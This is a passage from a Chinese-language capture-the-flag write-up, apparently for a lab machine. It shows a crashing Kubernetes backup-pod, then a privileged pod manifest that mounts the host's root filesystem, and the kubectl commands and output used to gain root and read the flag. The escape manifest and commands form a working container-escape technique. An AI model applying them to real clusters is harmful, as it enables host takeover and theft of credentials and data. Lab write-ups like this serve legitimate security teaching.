kube-api-access-p2qlg readOnly: true dnsPolicy: ClusterFirst enableServiceLinks: true nodeName: unobtainium preemptionPolicy: PreemptLowerPriority priority: 0 restartPolicy: Always schedulerName: default-scheduler securityContext: {} serviceAccount: default serviceAccountName: default terminationGracePeriodSeconds: 30 tolerations: - effect: NoExecute key: node.kubernetes.io/not-ready operator: Exists tolerationSeconds: 300 - effect: NoExecute key: node.kubernetes.io/unreachable operator: Exists tolerationSeconds: 300 volumes: - name: kube-api-access-p2qlg projected: defaultMode: 420 sources: - serviceAccountToken: expirationSeconds: 3607 path: token - configMap: items: - key: ca.crt path: ca.crt name: kube-root-ca.crt - downwardAPI: items: - fieldRef: apiVersion: v1 fieldPath: metadata.namespace path: namespace status: message: 'containers with unready status: [alpine]' reason: ContainersNotReady status: "False" type: ContainersReady - lastProbeTime: null lastTransitionTime: "2022-08-29T09:32:41Z" status: "True" type: PodScheduled containerStatuses: - containerID: docker://860fceac2e0904f7eb90e03a996243cf54b5525abe57c3261d3d8ae86043ebea image: alpine:latest imageID: docker-pullable://alpine@sha256:bc41182d7ef5ffc53a40b044e725193bc10142a1243f395ee852a8d9730fc2ad lastState: terminated: containerID: docker://860fceac2e0904f7eb90e03a996243cf54b5525abe57c3261d3d8ae86043ebea exitCode: 0 finishedAt: "2026-07-11T08:13:30Z" reason: Completed startedAt: "2026-07-11T08:13:30Z" name: alpine ready: false restartCount: 61 started: false state: waiting: message: back-off 5m0s restarting failed container=alpine pod=backup-pod_kube-system(a7929b0e-58d5-428d-ae72-ee5330903ab8) reason: CrashLoopBackOff hostIP: 10.129.136.226 phase: Running podIP: 10.42.0.64 podIPs: - ip: 10.42.0.64 qosClass: BestEffort startTime: "2022-08-29T09:32:41Z"
存在一个 backup-pod(kube-system 命名空间),状态为 CrashLoopBackOff,镜像为 localhost:5000/dev-alpine。该 Pod 本身无价值(反复 Crash),但可借鉴其配置部署新的特权容器。
容器逃逸与宿主机访问 利用 cluster-admin 权限创建一个特权 Pod,将宿主机根目录 / 挂载到容器内,实现容器逃逸。
escape.yaml:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 apiVersion: v1 kind: Pod metadata: name: escape-pod namespace: kube-system spec: containers: - name: alpine image: localhost:5000/dev-alpine imagePullPolicy: IfNotPresent command: ["/bin/sh"] args: ["-c", "sleep infinity"] # 保持运行 volumeMounts: - mountPath: /host-root name: host-root securityContext: privileged: true # 提升权限(可选) volumes: - name: host-root hostPath: path: / # 挂载宿主机根目录 hostNetwork: true # 使用宿主机网络(方便反向 shell,但此处不使用) automountServiceAccountToken: true # 自动挂载 sa token(便于后续操作)
部署并进入特权容器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 # 拉取 kubectl --token="$ADMIN_TOKEN" --certificate-authority="$CA" --server="$SERVER" apply -f escape.yaml pod/escape-pod created # 验证 kubectl --token="$ADMIN_TOKEN" --certificate-authority="$CA" --server="$SERVER" get pod escape-pod -n kube-system NAME READY STATUS RESTARTS AGE escape-pod 1/1 Running 0 34s # sh kubectl --token="$ADMIN_TOKEN" --certificate-authority="$CA" --server="$SERVER" exec -it escape-pod -n kube-system -- /bin/sh / # id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) / # ip a 1: lo: inet 127.0.0.1/8 scope host lo 2: ens160: inet 10.129.136.226/16 brd 10.129.255.255 scope global dynamic ens160 / # find / -name "root.txt" /host-root/root/root.txt
通过 /host-root 成功访问宿主机根文件系统,在 /root/root.txt 找到最终 flag。